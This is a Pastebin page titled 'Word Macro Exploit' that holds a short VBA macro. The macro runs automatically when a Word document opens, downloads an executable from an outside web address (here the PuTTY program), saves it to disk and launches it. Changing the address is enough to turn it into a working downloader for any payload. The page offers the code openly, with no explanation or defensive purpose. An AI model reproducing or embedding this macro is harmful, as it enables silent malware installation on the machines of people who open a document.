Advertisement
Guest User

Word Macro Exploit

a guest
Mar 18th, 2017
3,090
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Sub AutoOpen()
  2.  
  3. Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
  4. Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
  5. xHttp.Open "GET", "https://the.earth.li/~sgtatham/putty/0.68/w64/putty.exe", False
  6. xHttp.Send
  7.  
  8. With bStrm
  9.  .Type = 1 '//binary
  10. .Open
  11.  .write xHttp.responseBody
  12.  .savetofile "putty.exe", 2 '//overwrite
  13. End With
  14.  
  15. Shell ("putty.exe")
  16.  
  17. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement